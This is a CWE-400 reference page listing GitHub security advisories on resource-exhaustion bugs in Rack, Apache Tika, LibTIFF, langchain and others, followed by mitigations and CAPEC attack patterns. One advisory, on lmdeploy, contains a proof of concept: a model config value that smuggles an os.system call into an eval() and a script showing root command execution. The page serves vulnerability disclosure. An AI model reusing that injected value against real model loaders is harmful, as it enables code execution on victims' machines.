CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6465 vulnerabilities reference this CWE, most recent first.
GHSA-3H26-8WFG-F6VH
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36In read_metadata_vorbiscomment_ of stream_decoder.c, there is possible memory exhaustion due to a memory leak. This could lead to remote denial of service with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-124775381
{
"affected": [],
"aliases": [
"CVE-2020-0487"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-15T16:15:00Z",
"severity": "MODERATE"
},
"details": "In read_metadata_vorbiscomment_ of stream_decoder.c, there is possible memory exhaustion due to a memory leak. This could lead to remote denial of service with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-124775381",
"id": "GHSA-3h26-8wfg-f6vh",
"modified": "2022-05-24T17:36:26Z",
"published": "2022-05-24T17:36:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0487"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2020-12-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3H29-52VH-PQGR
Vulnerability from github – Published: 2021-05-07 15:53 – Updated: 2022-10-07 20:39A carefully crafted or corrupt PSD file can cause excessive memory usage in Apache Tika's PSDParser in versions 1.0-1.23.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.23"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.tika:tika"
},
"ranges": [
{
"events": [
{
"introduced": "1.0"
},
{
"fixed": "1.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-1950"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-05T22:51:14Z",
"nvd_published_at": "2020-03-23T14:15:00Z",
"severity": "MODERATE"
},
"details": "A carefully crafted or corrupt PSD file can cause excessive memory usage in Apache Tika\u0027s PSDParser in versions 1.0-1.23.",
"id": "GHSA-3h29-52vh-pqgr",
"modified": "2022-10-07T20:39:59Z",
"published": "2021-05-07T15:53:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1950"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tika"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r463b1a67817ae55fe022536edd6db34e8f9636971188430cbcf8a8dd%40%3Cdev.tika.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/03/msg00035.html"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4564-1"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled Resource Consumption in Apache Tika"
}
GHSA-3H52-CX59-C456
Vulnerability from github – Published: 2026-03-29 15:48 – Updated: 2026-04-10 20:21Summary
Feishu webhook reads and parses unauthenticated request bodies before signature validation
Affected Packages / Versions
- Package:
openclaw - Affected versions:
<= 2026.3.24 - First patched version:
2026.3.25 - Latest published npm version at verification time:
2026.3.24
Details
Feishu webhook handling previously parsed JSON before signature validation, which let unauthenticated callers force full JSON parsing work before rejection. Commit 5e8cb22176e9235e224be0bc530699261eb60e53 reads the raw request body, validates the signature first, and only then parses JSON.
Verified vulnerable on tag v2026.3.24 and fixed on main by commit 5e8cb22176e9235e224be0bc530699261eb60e53.
Fix Commit(s)
5e8cb22176e9235e224be0bc530699261eb60e53
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35640"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-29T15:48:58Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nFeishu webhook reads and parses unauthenticated request bodies before signature validation\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Affected versions: `\u003c= 2026.3.24`\n- First patched version: `2026.3.25`\n- Latest published npm version at verification time: `2026.3.24`\n\n## Details\n\nFeishu webhook handling previously parsed JSON before signature validation, which let unauthenticated callers force full JSON parsing work before rejection. Commit `5e8cb22176e9235e224be0bc530699261eb60e53` reads the raw request body, validates the signature first, and only then parses JSON.\n\nVerified vulnerable on tag `v2026.3.24` and fixed on `main` by commit `5e8cb22176e9235e224be0bc530699261eb60e53`.\n\n## Fix Commit(s)\n\n- `5e8cb22176e9235e224be0bc530699261eb60e53`",
"id": "GHSA-3h52-cx59-c456",
"modified": "2026-04-10T20:21:35Z",
"published": "2026-03-29T15:48:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3h52-cx59-c456"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35640"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/5e8cb22176e9235e224be0bc530699261eb60e53"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-unauthenticated-webhook-request-parsing"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Feishu webhook reads and parses unauthenticated request bodies before signature validation"
}
GHSA-3H57-HMJ3-GJ3P
Vulnerability from github – Published: 2023-03-08 17:20 – Updated: 2025-02-13 18:41There is a possible DoS vulnerability in the Multipart MIME parsing code in Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27530.
Versions Affected: All. Not affected: None Fixed Versions: 3.0.4.2, 2.2.6.3, 2.1.4.3, 2.0.9.3
Impact
The Multipart MIME parsing code in Rack limits the number of file parts, but does not limit the total number of parts that can be uploaded. Carefully crafted requests can abuse this and cause multipart parsing to take longer than expected.
All users running an affected release should either upgrade or use one of the workarounds immediately.
Workarounds
A proxy can be configured to limit the POST body size which will mitigate this issue.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.4.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.6.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-27530"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-08T17:20:04Z",
"nvd_published_at": "2023-03-10T22:15:00Z",
"severity": "HIGH"
},
"details": "There is a possible DoS vulnerability in the Multipart MIME parsing code in Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27530.\n\nVersions Affected: All. Not affected: None Fixed Versions: 3.0.4.2, 2.2.6.3, 2.1.4.3, 2.0.9.3\n\n# Impact\nThe Multipart MIME parsing code in Rack limits the number of file parts, but does not limit the total number of parts that can be uploaded. Carefully crafted requests can abuse this and cause multipart parsing to take longer than expected.\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\n# Workarounds\nA proxy can be configured to limit the POST body size which will mitigate this issue.",
"id": "GHSA-3h57-hmj3-gj3p",
"modified": "2025-02-13T18:41:56Z",
"published": "2023-03-08T17:20:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27530"
},
{
"type": "WEB",
"url": "https://discuss.rubyonrails.org/t/cve-2023-27530-possible-dos-vulnerability-in-multipart-mime-parsing/82388"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2023-27530.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00017.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231208-0015"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5530"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Rack has possible DoS Vulnerability in Multipart MIME parsing"
}
GHSA-3H5P-8X48-P6JM
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Service Delivery Platform. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Service Delivery Platform. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-60382"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:40Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Service Delivery Platform. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Service Delivery Platform. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-3h5p-8x48-p6jm",
"modified": "2026-07-22T00:31:37Z",
"published": "2026-07-22T00:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60382"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3H6X-GJF3-36GG
Vulnerability from github – Published: 2022-04-04 00:00 – Updated: 2022-04-12 00:01A vulnerability classified as problematic was found in LibTIFF 4.3.0. Affected by this vulnerability is the TIFF File Handler of tiff2ps. Opening a malicious file leads to a denial of service. The attack can be launched remotely but requires user interaction. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2022-1210"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-404"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-03T09:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as problematic was found in LibTIFF 4.3.0. Affected by this vulnerability is the TIFF File Handler of tiff2ps. Opening a malicious file leads to a denial of service. The attack can be launched remotely but requires user interaction. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-3h6x-gjf3-36gg",
"modified": "2022-04-12T00:01:02Z",
"published": "2022-04-04T00:00:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1210"
},
{
"type": "WEB",
"url": "https://gitlab.com/libtiff/libtiff/-/issues/402"
},
{
"type": "WEB",
"url": "https://gitlab.com/libtiff/libtiff/uploads/c3da94e53cf1e1e8e6d4d3780dc8c42f/example.tiff"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202210-10"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220513-0005"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.196363"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3HC4-P5Q8-6MX3
Vulnerability from github – Published: 2023-04-20 15:30 – Updated: 2024-04-04 03:36An issue was discovered in ONOS 2.5.1. To attack an intent installed by a normal user, a remote attacker can install a duplicate intent with a different key, and then remove the duplicate one. This will remove the flow rules of the intent, even though the intent still exists in the controller.
{
"affected": [],
"aliases": [
"CVE-2022-24109"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-20T13:15:06Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in ONOS 2.5.1. To attack an intent installed by a normal user, a remote attacker can install a duplicate intent with a different key, and then remove the duplicate one. This will remove the flow rules of the intent, even though the intent still exists in the controller.",
"id": "GHSA-3hc4-p5q8-6mx3",
"modified": "2024-04-04T03:36:46Z",
"published": "2023-04-20T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24109"
},
{
"type": "WEB",
"url": "https://wiki.onosproject.org/display/ONOS/Intent+Framework"
},
{
"type": "WEB",
"url": "https://www.usenix.org/system/files/sec23fall-prepub-285_kim-jiwon.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3HJH-JH2H-VRG6
Vulnerability from github – Published: 2024-06-06 21:30 – Updated: 2024-11-04 15:27Denial of service in SitemapLoader Document Loader in the langchain-community package, affecting versions below 0.2.5. The parse_sitemap method, responsible for parsing sitemaps and extracting URLs, lacks a mechanism to prevent infinite recursion when a sitemap URL refers to the current sitemap itself. This oversight allows for the possibility of an infinite loop, leading to a crash by exceeding the maximum recursion depth in Python. This vulnerability can be exploited to occupy server socket/port resources and crash the Python process, impacting the availability of services relying on this functionality.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langchain-community"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "langchain"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-2965"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-06T22:20:20Z",
"nvd_published_at": "2024-06-06T19:15:55Z",
"severity": "MODERATE"
},
"details": "Denial of service in `SitemapLoader` Document Loader in the `langchain-community` package, affecting versions below 0.2.5. The `parse_sitemap` method, responsible for parsing sitemaps and extracting URLs, lacks a mechanism to prevent infinite recursion when a sitemap URL refers to the current sitemap itself. This oversight allows for the possibility of an infinite loop, leading to a crash by exceeding the maximum recursion depth in Python. This vulnerability can be exploited to occupy server socket/port resources and crash the Python process, impacting the availability of services relying on this functionality.",
"id": "GHSA-3hjh-jh2h-vrg6",
"modified": "2024-11-04T15:27:57Z",
"published": "2024-06-06T21:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2965"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/pull/22903"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/commit/73c42306745b0831aa6fe7fe4eeb70d2c2d87a82"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/commit/9a877c7adbd06f90a2518152f65b562bd90487cc"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langchain"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/langchain/PYSEC-2024-118.yaml"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/90b0776d-9fa6-4841-aac4-09fde5918cae"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service in langchain-community"
}
GHSA-3HJM-W3JH-PC36
Vulnerability from github – Published: 2024-09-26 18:31 – Updated: 2024-09-26 18:31Dell SmartFabric OS10 Software, versions 10.5.6.x, 10.5.5.x, 10.5.4.x,10.5.3.x, contains an Uncontrolled Resource Consumption vulnerability. A remote unauthenticated host could potentially exploit this vulnerability leading to a denial of service.
{
"affected": [],
"aliases": [
"CVE-2024-37125"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-26T17:15:03Z",
"severity": "HIGH"
},
"details": "Dell SmartFabric OS10 Software, versions 10.5.6.x, 10.5.5.x, 10.5.4.x,10.5.3.x, contains an Uncontrolled Resource Consumption vulnerability. A remote unauthenticated host could potentially exploit this vulnerability leading to a denial of service.",
"id": "GHSA-3hjm-w3jh-pc36",
"modified": "2024-09-26T18:31:44Z",
"published": "2024-09-26T18:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37125"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000228976/dsa-2024-274-security-update-for-dell-networking-os10-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3HMM-RH5Q-GWWR
Vulnerability from github – Published: 2026-09-18 17:04 – Updated: 2026-09-18 17:04Summary
lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads the model with lmdeploy, the quant_dtype is passed to eval(f'torch.{quant_dtype}') without any validation.
Details
Vulnerable code (permalink):
quant_dtype = eval(f'torch.{quant_dtype}') # line 620
The quant_dtype value comes from the model's quantization_config in its HuggingFace config. When a model specifies quant_method: awq, the AWQ branch processes the config but does NOT override quant_dtype, allowing the malicious value to reach the eval() call.
Attack vector: An attacker publishes a HuggingFace model with:
{
"quantization_config": {
"quant_method": "awq",
"quant_dtype": "float16, __import__('os').system('id')"
}
}
Note: The _update_torch_dtype method at line 53 has a whitelist check, but that's for torch_dtype, NOT quant_dtype. The quant_dtype at line 620 has no validation whatsoever.
PoC
"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch
# Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())
from lmdeploy.pytorch.config import ModelConfig
# Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
'quant_method': 'awq',
'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000
# This triggers eval(f'torch.{quant_dtype}')
# with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')
Output:
uid=0(root) gid=0(root) groups=0(root)
Impact
An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.
- Full remote code execution when loading a malicious model
- No user interaction beyond running
lmdeploy serveor similar with the model - Affects all deployment scenarios (local, cloud, production)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lmdeploy"
},
"ranges": [
{
"events": [
{
"introduced": "0.12.1"
},
{
"fixed": "0.12.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33625"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-18T17:04:01Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nlmdeploy \u003c= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f\u0027torch.{quant_dtype}\u0027)` without any validation.\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):\n\n```python\nquant_dtype = eval(f\u0027torch.{quant_dtype}\u0027) # line 620\n```\n\nThe `quant_dtype` value comes from the model\u0027s `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.\n\n**Attack vector:** An attacker publishes a HuggingFace model with:\n```json\n{\n \"quantization_config\": {\n \"quant_method\": \"awq\",\n \"quant_dtype\": \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\n }\n}\n```\n\nNote: The `_update_torch_dtype` method at line 53 has a whitelist check, but that\u0027s for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.\n\n### PoC\n\n```python\n\"\"\"\nPoC: eval() RCE in lmdeploy via malicious quant_dtype\nPrerequisites: pip install lmdeploy\n\"\"\"\nimport sys\nfrom unittest.mock import MagicMock, patch\n\n# Mock torch to capture the eval\nsys.modules.setdefault(\u0027torch\u0027, MagicMock())\n\nfrom lmdeploy.pytorch.config import ModelConfig\n\n# Simulate a malicious HuggingFace model config\nmock_hf_config = MagicMock()\nmock_hf_config.quantization_config = {\n \u0027quant_method\u0027: \u0027awq\u0027,\n \u0027quant_dtype\u0027: \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\n}\nmock_hf_config.num_attention_heads = 32\nmock_hf_config.hidden_size = 4096\nmock_hf_config.num_hidden_layers = 32\nmock_hf_config.num_key_value_heads = 32\nmock_hf_config.vocab_size = 32000\n\n# This triggers eval(f\u0027torch.{quant_dtype}\u0027)\n# with quant_dtype = \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\nconfig = ModelConfig.from_hf_config(mock_hf_config, model_path=\u0027test\u0027)\n```\n\n**Output:**\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\n\nAn attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.\n\n1. Full remote code execution when loading a malicious model\n2. No user interaction beyond running `lmdeploy serve` or similar with the model\n3. Affects all deployment scenarios (local, cloud, production)",
"id": "GHSA-3hmm-rh5q-gwwr",
"modified": "2026-09-18T17:04:01Z",
"published": "2026-09-18T17:04:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
},
{
"type": "PACKAGE",
"url": "https://github.com/InternLM/lmdeploy"
},
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.